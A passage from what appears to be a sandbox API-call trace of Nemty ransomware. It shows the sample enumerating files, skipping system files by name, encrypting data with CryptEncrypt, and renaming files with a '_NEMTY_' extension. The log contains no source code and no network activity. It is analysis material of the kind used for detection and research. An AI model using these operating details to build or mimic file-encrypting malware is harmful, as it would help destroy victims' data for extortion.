CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0129.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.png", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="info.png", lpUsedDefaultChar=0x0) returned 8 [0129.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0129.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0129.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.png", cchWideChar=8, lpMultiByteStr=0x653ec20, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="info.png", lpUsedDefaultChar=0x0) returned 8 [0129.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0129.199] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.png", cchWideChar=8, lpMultiByteStr=0x653ec58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="info.png", lpUsedDefaultChar=0x0) returned 8 [0129.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0129.199] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0129.199] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0129.199] Sleep (dwMilliseconds=0x5) [0129.212] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xa9e1d0, dwHighDateTime=0x1d561e8)) [0129.212] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xa9e1d0, dwHighDateTime=0x1d561e8)) [0129.212] GetLastError () returned 0x5 [0129.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0129.213] GetLastError () returned 0x5 [0129.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0129.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0129.213] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0129.213] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0129.213] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0129.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0129.213] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="NKqdmp4KS9RzzVeZNBdYtdYJkEsgp5KoDQfWbRrTttGm85TGPl/k7PaLfEVcqAsf\r\nTiftxSdg8NxY4cyO6s9R2LpdkK3gbUPIU5Ys0EoKvhovpJ52+Yau0rVKB17vplUe\r\nR9hqZNQZfkBlEUvHpjCXFjewOIAsrosvDjj7syyhzrAI7xOqB1zuhJNoJr6VOdWG\r\ngbHxaBbOO8WDTvYOlPOjgxjOpip9nPTwOr3HwU0G1LCW3gozDrgS3e2xkU9kdGs+\r\nXbLhR6U5nt3X311CpPTpWUJPD73GE+xAp8zP19OJWfCq2u1FtIxi0pYXQM8pLP2q\r\ndl0lsF5ctsm2JOxtaAVvwA==\r\n", pcchString=0x653e91c) returned 1 [0129.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0129.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0129.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0129.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0129.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0129.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0129.213] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\info.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\info.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0129.214] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0129.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0129.214] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.214] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.223] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.223] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.223] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.233] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.233] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.233] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.242] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.242] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.242] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.252] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.252] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.252] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.261] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.261] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.262] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.262] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.271] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.271] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.271] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.281] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.281] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.281] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.290] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.290] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.290] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.300] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.300] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.300] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.309] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.309] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.309] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.310] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.316] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.316] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.316] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.316] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0129.322] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.322] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.322] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0129.322] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0129.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0129.322] CloseHandle (hObject=0xffffffff) returned 0 [0129.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403d0 [0129.322] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0129.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0129.322] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0129.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0129.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0129.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340478 [0129.322] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0129.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0129.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0129.322] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\info.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\info.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\info.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\currency.gadget\\images\\info.png._nemty_kgobjgd_")) returned 0 [0129.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0129.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0129.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0129.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0129.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0129.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0129.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.322] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0129.323] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x863e4a91, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x863e4a91, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x29af23ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbda, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="row_over.png", cAlternateFileName="")) returned 1 [0129.323] lstrcmpiW (lpString1="row_over.png", lpString2=".") returned 1 [0129.323] lstrcmpiW (lpString1="row_over.png", lpString2="..") returned 1 [0129.323] lstrcmpiW (lpString1="row_over.png", lpString2="...") returned 1 [0129.323] lstrcmpiW (lpString1="row_over.png", lpString2="windows") returned -1 [0129.323] lstrcmpiW (lpString1="row_over.png", lpString2="$RECYCLE.BIN") returned 1 [0129.323] lstrcmpiW (lpString1="row_over.png", lpString2="rsa") returned -1 [0129.323] lstrcmpiW (lpString1="row_over.png", lpString2="NTDETECT.COM") returned 1 [0129.323] lstrcmpiW (lpString1="row_over.png", lpString2="ntldr") returned 1 [0129.323] lstrcmpiW (lpString1="row_over.png", lpString2="MSDOS.SYS") returned 1 [0129.323] lstrcmpiW (lpString1="row_over.png", lpString2="IO.SYS") returned 1 [0129.323] lstrcmpiW (lpString1="row_over.png", lpString2="boot.ini") returned 1 [0129.323] lstrcmpiW (lpString1="row_over.png", lpString2="boot.ini") returned 1 [0129.323] lstrcmpiW (lpString1="row_over.png", lpString2="AUTOEXEC.BAT") returned 1 [0129.323] lstrcmpiW (lpString1="row_over.png", lpString2="ntuser.dat") returned 1 [0129.323] lstrcmpiW (lpString1="row_over.png", lpString2="desktop.ini") returned 1 [0129.323] lstrcmpiW (lpString1="row_over.png", lpString2="CONFIG.SYS") returned 1 [0129.323] lstrcmpiW (lpString1="row_over.png", lpString2="RECYCLER") returned 1 [0129.323] lstrcmpiW (lpString1="row_over.png", lpString2="BOOTSECT.BAK") returned 1 [0129.323] lstrcmpiW (lpString1="row_over.png", lpString2="bootmgr") returned 1 [0129.323] lstrcmpiW (lpString1="row_over.png", lpString2="programdata") returned 1 [0129.323] lstrcmpiW (lpString1="row_over.png", lpString2="appdata") returned 1 [0129.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="row_over.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0129.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="row_over.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="row_over.png", lpUsedDefaultChar=0x0) returned 12 [0129.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0129.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="row_over.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0129.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="row_over.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="row_over.png", lpUsedDefaultChar=0x0) returned 12 [0129.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0129.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="row_over.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0129.323] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="row_over.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="row_over.png", lpUsedDefaultChar=0x0) returned 12 [0129.323] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.323] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.324] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="row_over.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0129.324] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="row_over.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="row_over.png", lpUsedDefaultChar=0x0) returned 12 [0129.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0129.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0129.324] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0129.324] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340110 [0129.324] Sleep (dwMilliseconds=0x5) [0129.337] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xbcecd0, dwHighDateTime=0x1d561e8)) [0129.337] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xbcecd0, dwHighDateTime=0x1d561e8)) [0129.337] GetLastError () returned 0x5 [0129.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0129.337] GetLastError () returned 0x5 [0129.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0129.337] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0129.337] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0129.338] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, 